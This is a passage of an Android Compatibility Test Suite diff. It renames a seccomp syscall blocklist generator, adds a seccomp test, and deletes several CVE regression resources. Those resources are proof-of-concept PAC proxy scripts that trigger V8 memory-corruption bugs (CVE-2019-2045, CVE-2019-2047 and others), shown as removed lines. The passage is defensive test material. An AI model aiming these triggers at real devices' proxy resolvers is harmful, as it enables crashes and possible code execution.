-            .openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath() + "/tmp.txt"), "w", null);
-        getContentResolver()
-            .delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath() + "/tmp.txt"), null, null);
+        assertThat(createFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
+        assertThat(deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath() + "/tmp.txt")).isTrue();
     }
 
-    private void deleteFileUsingTradefedContentProvider(File file) throws Exception {
+    /**
+     * Deletes a file at any location on storage (except external app data directory).
+     */
+    private void deleteAsLegacyApp(File file) throws Exception {
+        // Use a legacy app to delete this file, since it could be outside shared storage.
         Log.d(TAG, "Deleting file " + file);
-        getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
-    }
-
-    private void deleteDirUsingTradefedContentProvider(File file) throws Exception {
-        Log.d(TAG, "Deleting Dir " + file);
-        getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
+        deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath());
     }
 
     private int getCurrentUser() throws Exception {
diff --git a/hostsidetests/seccomp/Android.bp b/hostsidetests/seccomp/Android.bp
index d1f8121..5280d2a 100644
--- a/hostsidetests/seccomp/Android.bp
+++ b/hostsidetests/seccomp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsSeccompHostTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/seccomp/TEST_MAPPING b/hostsidetests/seccomp/TEST_MAPPING
new file mode 100644
index 0000000..16b0945
--- /dev/null
+++ b/hostsidetests/seccomp/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSeccompHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/seccomp/app/Android.bp b/hostsidetests/seccomp/app/Android.bp
index d77756f..55fb375 100644
--- a/hostsidetests/seccomp/app/Android.bp
+++ b/hostsidetests/seccomp/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSeccompDeviceApp",
     compile_multilib: "both",
diff --git a/hostsidetests/seccomp/app/assets/syscalls_allowed.json b/hostsidetests/seccomp/app/assets/syscalls_allowed.json
index 03ce72b..f3aa1b7 100644
--- a/hostsidetests/seccomp/app/assets/syscalls_allowed.json
+++ b/hostsidetests/seccomp/app/assets/syscalls_allowed.json
@@ -1,4 +1,4 @@
-# DO NOT MODIFY.  CHANGE gen_blacklist.py INSTEAD.
+# DO NOT MODIFY.  CHANGE gen_blocklist.py INSTEAD.
 {
   "arm": {
     "inotify_init": 316,
diff --git a/hostsidetests/seccomp/app/assets/syscalls_blocked.json b/hostsidetests/seccomp/app/assets/syscalls_blocked.json
index a53319b..9683cff 100644
--- a/hostsidetests/seccomp/app/assets/syscalls_blocked.json
+++ b/hostsidetests/seccomp/app/assets/syscalls_blocked.json
@@ -1,4 +1,4 @@
-# DO NOT MODIFY.  CHANGE gen_blacklist.py INSTEAD.
+# DO NOT MODIFY.  CHANGE gen_blocklist.py INSTEAD.
 {
   "arm": {
     "acct": 51,
diff --git a/hostsidetests/seccomp/app/gen_blacklist.py b/hostsidetests/seccomp/app/gen_blacklist.py
deleted file mode 100755
index e39fd9f..0000000
--- a/hostsidetests/seccomp/app/gen_blacklist.py
+++ /dev/null
@@ -1,189 +0,0 @@
-#!/usr/bin/env python3
-#
-# This script generates syscall name to number mapping for supported
-# architectures.  To update the output, runs:
-#
-#  $ app/gen_blacklist.py --allowed app/assets/syscalls_allowed.json \
-#      --blocked app/assets/syscalls_blocked.json
-#
-# Note that these are just syscalls that explicitly allowed and blocked in CTS
-# currently.
-#
-# TODO: Consider generating it in Android.mk/bp.
-
-import argparse
-import glob
-import json
-import os
-import subprocess
-
-_SUPPORTED_ARCHS = ['arm', 'arm64', 'x86', 'x86_64', 'mips', 'mips64']
-
-# Syscalls that are currently explicitly allowed in CTS
-_SYSCALLS_ALLOWED_IN_CTS = {
-    'openat': 'all',
-
-    # b/35034743 - do not remove test without reading bug.
-    'syncfs': 'arm64',
-
-    # b/35906875 - do not remove test without reading bug
-    'inotify_init': 'arm',
-}
-
-# Syscalls that are currently explicitly blocked in CTS
-_SYSCALLS_BLOCKED_IN_CTS = {
-    'acct': 'all',
-    'add_key': 'all',
-    'adjtimex': 'all',
-    'chroot': 'all',
-    'clock_adjtime': 'all',
-    'clock_settime': 'all',
-    'delete_module': 'all',
-    'init_module': 'all',
-    'keyctl': 'all',
-    'mount': 'all',
-    'reboot': 'all',
-    'setdomainname': 'all',
-    'sethostname': 'all',
-    'settimeofday': 'all',
-    'setfsgid': 'all',
-    'setfsuid': 'all',
-    'setgid': 'all',
-    'setgid32': 'x86,arm',
-    'setgroups': 'all',
-    'setgroups32': 'x86,arm',
-    'setregid': 'all',
-    'setregid32': 'x86,arm',
-    'setresgid': 'all',
-    'setresgid32': 'x86,arm',
-    'setreuid': 'all',
-    'setreuid32': 'x86,arm',
-    'setuid': 'all',
-    'setuid32': 'x86,arm',
-    'swapoff': 'all',
-    'swapoff': 'all',
-    'swapon': 'all',
-    'swapon': 'all',
-    'syslog': 'all',
-    'umount2': 'all',
-}
-
-def create_syscall_name_to_number_map(arch, names):
-  arch_config = {
-      'arm': {
-          'uapi_class': 'asm-arm',
-          'extra_cflags': [],
-      },
-      'arm64': {
-          'uapi_class': 'asm-arm64',
-          'extra_cflags': [],
-      },
-      'x86': {
-          'uapi_class': 'asm-x86',
-          'extra_cflags': ['-D__i386__'],
-      },
-      'x86_64': {
-          'uapi_class': 'asm-x86',
-          'extra_cflags': [],
-      },
-      'mips': {
-          'uapi_class': 'asm-mips',
-          'extra_cflags': ['-D_MIPS_SIM=_MIPS_SIM_ABI32'],
-      },
-      'mips64': {
-          'uapi_class': 'asm-mips',
-          'extra_cflags': ['-D_MIPS_SIM=_MIPS_SIM_ABI64'],
-      }
-  }
-
-  # Run preprocessor over the __NR_syscall symbols, including unistd.h,
-  # to get the actual numbers
-  # TODO: The following code is forked from bionic/libc/tools/genseccomp.py.
-  # Figure out if we can de-duplicate them crossing cts project boundary.
-  prefix = '__SECCOMP_'  # prefix to ensure no name collisions
-  kernel_uapi_path = os.path.join(os.getenv('ANDROID_BUILD_TOP'),
-                                  'bionic/libc/kernel/uapi')
-  cpp = subprocess.Popen(
-      [get_latest_clang_path(),
-       '-E', '-nostdinc',
-       '-I' + os.path.join(kernel_uapi_path,
-                           arch_config[arch]['uapi_class']),
-       '-I' + os.path.join(kernel_uapi_path)
-       ]
-      + arch_config[arch]['extra_cflags']
-      + ['-'],
-      universal_newlines=True,
-      stdin=subprocess.PIPE, stdout=subprocess.PIPE)
-  cpp.stdin.write('#include <asm/unistd.h>\n')
-  for name in names:
-    # In SYSCALLS.TXT, there are two arm-specific syscalls whose names start
-    # with __ARM__NR_. These we must simply write out as is.
-    if not name.startswith('__ARM_NR_'):
-      cpp.stdin.write(prefix + name + ', __NR_' + name + '\n')
-    else:
-      cpp.stdin.write(prefix + name + ', ' + name + '\n')
-  content = cpp.communicate()[0].split('\n')
-
-  # The input is now the preprocessed source file. This will contain a lot
-  # of junk from the preprocessor, but our lines will be in the format:
-  #
-  #     __SECCOMP_${NAME}, (0 + value)
-  syscalls = {}
-  for line in content:
-    if not line.startswith(prefix):
-      continue
-    # We might pick up extra whitespace during preprocessing, so best to strip.
-    name, value = [w.strip() for w in line.split(',')]
-    name = name[len(prefix):]
-    # Note that some of the numbers were expressed as base + offset, so we
-    # need to eval, not just int
-    value = eval(value)
-    if name in syscalls:
-      raise Exception('syscall %s is re-defined' % name)
-    syscalls[name] = value
-  return syscalls
-
-def get_latest_clang_path():
-  candidates = sorted(glob.glob(os.path.join(os.getenv('ANDROID_BUILD_TOP'),
-      'prebuilts/clang/host/linux-x86/clang-*')), reverse=True)
-  for clang_dir in candidates:
-    clang_exe = os.path.join(clang_dir, 'bin/clang')
-    if os.path.exists(clang_exe):
-      return clang_exe
-  raise FileNotFoundError('Cannot locate clang executable')
-
-def collect_syscall_names_for_arch(syscall_map, arch):
-  syscall_names = []
-  for syscall in syscall_map.keys():
-    if (arch in syscall_map[syscall] or
-        'all' == syscall_map[syscall]):
-      syscall_names.append(syscall)
-  return syscall_names
-
-def main():
-  parser = argparse.ArgumentParser('syscall name to number generator')
-  parser.add_argument('--allowed', metavar='path/to/json', type=str)
-  parser.add_argument('--blocked', metavar='path/to/json', type=str)
-  args = parser.parse_args()
-
-  allowed = {}
-  blocked = {}
-  for arch in _SUPPORTED_ARCHS:
-    blocked[arch] = create_syscall_name_to_number_map(
-        arch,
-        collect_syscall_names_for_arch(_SYSCALLS_BLOCKED_IN_CTS, arch))
-    allowed[arch] = create_syscall_name_to_number_map(
-        arch,
-        collect_syscall_names_for_arch(_SYSCALLS_ALLOWED_IN_CTS, arch))
-
-  msg_do_not_modify = '# DO NOT MODIFY.  CHANGE gen_blacklist.py INSTEAD.'
-  with open(args.allowed, 'w') as f:
-    print(msg_do_not_modify, file=f)
-    json.dump(allowed, f, sort_keys=True, indent=2)
-
-  with open(args.blocked, 'w') as f:
-    print(msg_do_not_modify, file=f)
-    json.dump(blocked, f, sort_keys=True, indent=2)
-
-if __name__ == '__main__':
-  main()
diff --git a/hostsidetests/seccomp/app/gen_blocklist.py b/hostsidetests/seccomp/app/gen_blocklist.py
new file mode 100755
index 0000000..588ebbb
--- /dev/null
+++ b/hostsidetests/seccomp/app/gen_blocklist.py
@@ -0,0 +1,189 @@
+#!/usr/bin/env python3
+#
+# This script generates syscall name to number mapping for supported
+# architectures.  To update the output, runs:
+#
+#  $ app/gen_blocklist.py --allowed app/assets/syscalls_allowed.json \
+#      --blocked app/assets/syscalls_blocked.json
+#
+# Note that these are just syscalls that explicitly allowed and blocked in CTS
+# currently.
+#
+# TODO: Consider generating it in Android.mk/bp.
+
+import argparse
+import glob
+import json
+import os
+import subprocess
+
+_SUPPORTED_ARCHS = ['arm', 'arm64', 'x86', 'x86_64', 'mips', 'mips64']
+
+# Syscalls that are currently explicitly allowed in CTS
+_SYSCALLS_ALLOWED_IN_CTS = {
+    'openat': 'all',
+
+    # b/35034743 - do not remove test without reading bug.
+    'syncfs': 'arm64',
+
+    # b/35906875 - do not remove test without reading bug
+    'inotify_init': 'arm',
+}
+
+# Syscalls that are currently explicitly blocked in CTS
+_SYSCALLS_BLOCKED_IN_CTS = {
+    'acct': 'all',
+    'add_key': 'all',
+    'adjtimex': 'all',
+    'chroot': 'all',
+    'clock_adjtime': 'all',
+    'clock_settime': 'all',
+    'delete_module': 'all',
+    'init_module': 'all',
+    'keyctl': 'all',
+    'mount': 'all',
+    'reboot': 'all',
+    'setdomainname': 'all',
+    'sethostname': 'all',
+    'settimeofday': 'all',
+    'setfsgid': 'all',
+    'setfsuid': 'all',
+    'setgid': 'all',
+    'setgid32': 'x86,arm',
+    'setgroups': 'all',
+    'setgroups32': 'x86,arm',
+    'setregid': 'all',
+    'setregid32': 'x86,arm',
+    'setresgid': 'all',
+    'setresgid32': 'x86,arm',
+    'setreuid': 'all',
+    'setreuid32': 'x86,arm',
+    'setuid': 'all',
+    'setuid32': 'x86,arm',
+    'swapoff': 'all',
+    'swapoff': 'all',
+    'swapon': 'all',
+    'swapon': 'all',
+    'syslog': 'all',
+    'umount2': 'all',
+}
+
+def create_syscall_name_to_number_map(arch, names):
+  arch_config = {
+      'arm': {
+          'uapi_class': 'asm-arm',
+          'extra_cflags': [],
+      },
+      'arm64': {
+          'uapi_class': 'asm-arm64',
+          'extra_cflags': [],
+      },
+      'x86': {
+          'uapi_class': 'asm-x86',
+          'extra_cflags': ['-D__i386__'],
+      },
+      'x86_64': {
+          'uapi_class': 'asm-x86',
+          'extra_cflags': [],
+      },
+      'mips': {
+          'uapi_class': 'asm-mips',
+          'extra_cflags': ['-D_MIPS_SIM=_MIPS_SIM_ABI32'],
+      },
+      'mips64': {
+          'uapi_class': 'asm-mips',
+          'extra_cflags': ['-D_MIPS_SIM=_MIPS_SIM_ABI64'],
+      }
+  }
+
+  # Run preprocessor over the __NR_syscall symbols, including unistd.h,
+  # to get the actual numbers
+  # TODO: The following code is forked from bionic/libc/tools/genseccomp.py.
+  # Figure out if we can de-duplicate them crossing cts project boundary.
+  prefix = '__SECCOMP_'  # prefix to ensure no name collisions
+  kernel_uapi_path = os.path.join(os.getenv('ANDROID_BUILD_TOP'),
+                                  'bionic/libc/kernel/uapi')
+  cpp = subprocess.Popen(
+      [get_latest_clang_path(),
+       '-E', '-nostdinc',
+       '-I' + os.path.join(kernel_uapi_path,
+                           arch_config[arch]['uapi_class']),
+       '-I' + os.path.join(kernel_uapi_path)
+       ]
+      + arch_config[arch]['extra_cflags']
+      + ['-'],
+      universal_newlines=True,
+      stdin=subprocess.PIPE, stdout=subprocess.PIPE)
+  cpp.stdin.write('#include <asm/unistd.h>\n')
+  for name in names:
+    # In SYSCALLS.TXT, there are two arm-specific syscalls whose names start
+    # with __ARM__NR_. These we must simply write out as is.
+    if not name.startswith('__ARM_NR_'):
+      cpp.stdin.write(prefix + name + ', __NR_' + name + '\n')
+    else:
+      cpp.stdin.write(prefix + name + ', ' + name + '\n')
+  content = cpp.communicate()[0].split('\n')
+
+  # The input is now the preprocessed source file. This will contain a lot
+  # of junk from the preprocessor, but our lines will be in the format:
+  #
+  #     __SECCOMP_${NAME}, (0 + value)
+  syscalls = {}
+  for line in content:
+    if not line.startswith(prefix):
+      continue
+    # We might pick up extra whitespace during preprocessing, so best to strip.
+    name, value = [w.strip() for w in line.split(',')]
+    name = name[len(prefix):]
+    # Note that some of the numbers were expressed as base + offset, so we
+    # need to eval, not just int
+    value = eval(value)
+    if name in syscalls:
+      raise Exception('syscall %s is re-defined' % name)
+    syscalls[name] = value
+  return syscalls
+
+def get_latest_clang_path():
+  candidates = sorted(glob.glob(os.path.join(os.getenv('ANDROID_BUILD_TOP'),
+      'prebuilts/clang/host/linux-x86/clang-*')), reverse=True)
+  for clang_dir in candidates:
+    clang_exe = os.path.join(clang_dir, 'bin/clang')
+    if os.path.exists(clang_exe):
+      return clang_exe
+  raise FileNotFoundError('Cannot locate clang executable')
+
+def collect_syscall_names_for_arch(syscall_map, arch):
+  syscall_names = []
+  for syscall in syscall_map.keys():
+    if (arch in syscall_map[syscall] or
+        'all' == syscall_map[syscall]):
+      syscall_names.append(syscall)
+  return syscall_names
+
+def main():
+  parser = argparse.ArgumentParser('syscall name to number generator')
+  parser.add_argument('--allowed', metavar='path/to/json', type=str)
+  parser.add_argument('--blocked', metavar='path/to/json', type=str)
+  args = parser.parse_args()
+
+  allowed = {}
+  blocked = {}
+  for arch in _SUPPORTED_ARCHS:
+    blocked[arch] = create_syscall_name_to_number_map(
+        arch,
+        collect_syscall_names_for_arch(_SYSCALLS_BLOCKED_IN_CTS, arch))
+    allowed[arch] = create_syscall_name_to_number_map(
+        arch,
+        collect_syscall_names_for_arch(_SYSCALLS_ALLOWED_IN_CTS, arch))
+
+  msg_do_not_modify = '# DO NOT MODIFY.  CHANGE gen_blocklist.py INSTEAD.'
+  with open(args.allowed, 'w') as f:
+    print(msg_do_not_modify, file=f)
+    json.dump(allowed, f, sort_keys=True, indent=2)
+
+  with open(args.blocked, 'w') as f:
+    print(msg_do_not_modify, file=f)
+    json.dump(blocked, f, sort_keys=True, indent=2)
+
+if __name__ == '__main__':
+  main()
diff --git a/hostsidetests/seccomp/app/jni/Android.bp b/hostsidetests/seccomp/app/jni/Android.bp
index 6e7b361..b528c53 100644
--- a/hostsidetests/seccomp/app/jni/Android.bp
+++ b/hostsidetests/seccomp/app/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctsseccomp_jni",
     gtest: false,
diff --git a/hostsidetests/security/Android.mk b/hostsidetests/security/Android.mk
index 7d603bd..0a6373a 100644
--- a/hostsidetests/security/Android.mk
+++ b/hostsidetests/security/Android.mk
@@ -25,8 +25,6 @@
 
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsSecurityHostTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 
diff --git a/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java b/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
index 1f1772b..e670426 100644
--- a/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
+++ b/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
@@ -130,6 +130,11 @@
         assertSeccompFilter("media.extractor", PS_CMD, false);
     }
 
+    public void testMediaSwcodecHasSeccompFilter() throws DeviceNotAvailableException {
+        // non-mainline devices might not have this process
+        assertSeccompFilter("media.swcodec", PS_CMD, false, false /* mustHaveProcess */);
+    }
+
     public void testOmxHalHasSeccompFilter() throws DeviceNotAvailableException {
         assertSeccompFilter("media.codec", PS_CMD, false);
     }
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index 39f7eda..f256788 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsSecurityBulletinHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/securitybulletin/res/CVE-2018-9490.pac b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
deleted file mode 100644
index 999518a..0000000
--- a/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    alert("enter");
-    let arr = [];
-    arr[1000] = 0x1234;
-
-    arr.__defineGetter__(256, function () {
-            delete arr[256];
-            arr.unshift(1.1);
-            arr.length = 0;
-            });
-
-    Object.entries(arr).toString();
-    alert(JSON.stringify(entries));
-    return 0;
-}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2045.pac b/hostsidetests/securitybulletin/res/CVE-2019-2045.pac
deleted file mode 100644
index a6b0166..0000000
--- a/hostsidetests/securitybulletin/res/CVE-2019-2045.pac
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    opttest();
-    opttest();
-    opttest();
-    opttest();
-    opttest();
-    opttest();
-    opttest();
-    opttest();
-    return "DIRECT";
-}
-
-function maxstring() {
-  // force TurboFan
-  try {} finally {}
-
-  var i = 'A'.repeat(2**28 - 16).indexOf("", 2**28);
-  i += 16; 
-  i >>= 28; 
-  i *= 1000000;
-  //i *= 3;
-  if (i >= 3) {
-    return 0;
-  } else {
-    var arr = [0.1, 0.2, 0.3, 0.4];
-    return arr[i];
-  }
-}
-
-function opttest() {
-  for (var j = 0; j < 100000; j++) {
-    var o = maxstring();
-    if (o == 0 || o == undefined) {
-      continue;
-    }
-    console.log(o);
-    return o;
-  }
-}
-
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2047.pac b/hostsidetests/securitybulletin/res/CVE-2019-2047.pac
deleted file mode 100644
index b70e24a..0000000
--- a/hostsidetests/securitybulletin/res/CVE-2019-2047.pac
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    for(var i = 0;i<0x10000;i++){
-        change_elements_kind(x);
-    }
-
-    for(var i = 0;i<0x10000;i++){
-        write_as_unboxed();
-    }
-
-    change_elements_kind(evil);
-
-    write_as_unboxed();
-
-    try{
-        evil[0].x;
-    }catch(e){
-    }
-    return "DIRECT";
-}
-
-function change_elements_kind(a){
-    a[0] = Array;
-}
-function read_as_unboxed(){
-    return evil[0];
-}
-
-function write_as_unboxed(){
-    evil[0] = 2.37341197482723178190425716704E-308; //0x00111111 00111111
-}
-
-change_elements_kind({});
-
-var map_manipulator = new Array(1.0,2.3);
-map_manipulator.x = 7;
-change_elements_kind(map_manipulator);
-
-map_manipulator.x = {};
-
-var evil = new Array(1.1,2.2);
-evil.x = {};
-
-var x = new Array({});
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2051.pac b/hostsidetests/securitybulletin/res/CVE-2019-2051.pac
deleted file mode 100644
index b24b160..0000000
--- a/hostsidetests/securitybulletin/res/CVE-2019-2051.pac
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    this.__defineGetter__("x", (a = (function f() { return; (function() {}); })()) => { });
-    x;
-    return "DIRECT";
-}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2052.pac b/hostsidetests/securitybulletin/res/CVE-2019-2052.pac
deleted file mode 100644
index 670e870..0000000
--- a/hostsidetests/securitybulletin/res/CVE-2019-2052.pac
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    for(var i = 0;i < 0x1000;i++){
-        tt();
-    }
-
-    return "DIRECT";
-}
-
-function tt(){
-    var evil_o = {};
-    var reg = /abc/y;
-    var num = {};
-    num.toString = function(){
-	    change_to_dict();
-	    return 0x0;
-    }
-
-
-    function change_to_dict(){
-	    for(var i = 0;i < 0x100;i++){
-		    reg["a"+i.toString(16)] = i;
-	    }
-    }
-
-    evil_o.toString = function(){
-	    //change_to_dict();
-	    reg.lastIndex = num;
-	    return "abc".repeat(0x1000);
-    }
-
-    String.prototype.replace.call(evil_o,reg,function(){});
-}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2097.pac b/hostsidetests/securitybulletin/res/CVE-2019-2097.pac
deleted file mode 100644
index 4880f54..0000000
--- a/hostsidetests/securitybulletin/res/CVE-2019-2097.pac
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    for (var  i = 0; i < 0x10000; i++){
-        f();
-    }
-    array[0] = double_arr;
-    f();
-    try {
-    double_arr[1].x;
-    }catch(e){}
-    return "DIRECT";
-}
-
-var double_arr = [1.1, 2.2];
-var array = [[0.1],[0.1],[0.1]];
-
-function f(){
-    double_arr[0] = 3.3;
-    for(var i = 0; i < array.length; i++){
-        array[i][0] = {"abcd":0x4321};
-    }
-    double_arr[1] = 6.176516726456e-312;
-}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2130.pac b/hostsidetests/securitybulletin/res/CVE-2019-2130.pac
deleted file mode 100644
index 77a0cb5..0000000
--- a/hostsidetests/securitybulletin/res/CVE-2019-2130.pac
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    function opt() {
-        opt['x'] = 1.1;
-        try {
-            Object.create(object);
-        } catch (e) {
-        }
-
-        for (let i = 0; i < 100000; i++) {
-
-        }
-    }
-
-    opt();
-    object = opt;
-    opt();
-
-    return "DIRECT";
-}
-
-var object;
diff --git a/hostsidetests/securitybulletin/res/bug_138441919.pac b/hostsidetests/securitybulletin/res/bug_138441919.pac
deleted file mode 100644
index 006fb6a..0000000
--- a/hostsidetests/securitybulletin/res/bug_138441919.pac
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    Object.defineProperty(Promise, Symbol.species, { value: 0 });
-    var p = new Promise(function() {});
-    p.then();
-    return "DIRECT";
-}
diff --git a/hostsidetests/securitybulletin/res/bug_139806216.pac b/hostsidetests/securitybulletin/res/bug_139806216.pac
deleted file mode 100644
index 256108d..0000000
--- a/hostsidetests/securitybulletin/res/bug_139806216.pac
+++ /dev/null
@@ -1,20 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    var x = new ArrayBuffer(1);
-    return "DIRECT";
-}
diff --git a/hostsidetests/securitybulletin/res/cve_2016_6328.mp4 b/hostsidetests/securitybulletin/res/cve_2016_6328.mp4
deleted file mode 100644
index 8813ef6..0000000
--- a/hostsidetests/securitybulletin/res/cve_2016_6328.mp4
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2019_2046.pac b/hostsidetests/securitybulletin/res/cve_2019_2046.pac
deleted file mode 100644
index 82ef431..0000000
--- a/hostsidetests/securitybulletin/res/cve_2019_2046.pac
+++ /dev/null
@@ -1,27 +0,0 @@
-function FindProxyForURL(url, host){
-    const f = eval(`(function f(i) {
-        if (i == 0) {
-            class Derived extends Object {
-                constructor() {
-                    super();
-                    ${"this.a=1;".repeat(0x3fffe-8)}
-                }
-            }
-
-            return Derived;
-        }
-
-        class DerivedN extends f(i-1) {
-            constructor() {
-                super();
-                ${"this.a=1;".repeat(0x40000-8)}
-            }
-        }
-
-        return DerivedN;
-    })`);
-
-    let a = new (f(0x7ff))();
-    a;
-    return "DIRECT";
-}
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0393.pac b/hostsidetests/securitybulletin/res/cve_2021_0393.pac
deleted file mode 100644
index 42038b61..0000000
--- a/hostsidetests/securitybulletin/res/cve_2021_0393.pac
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
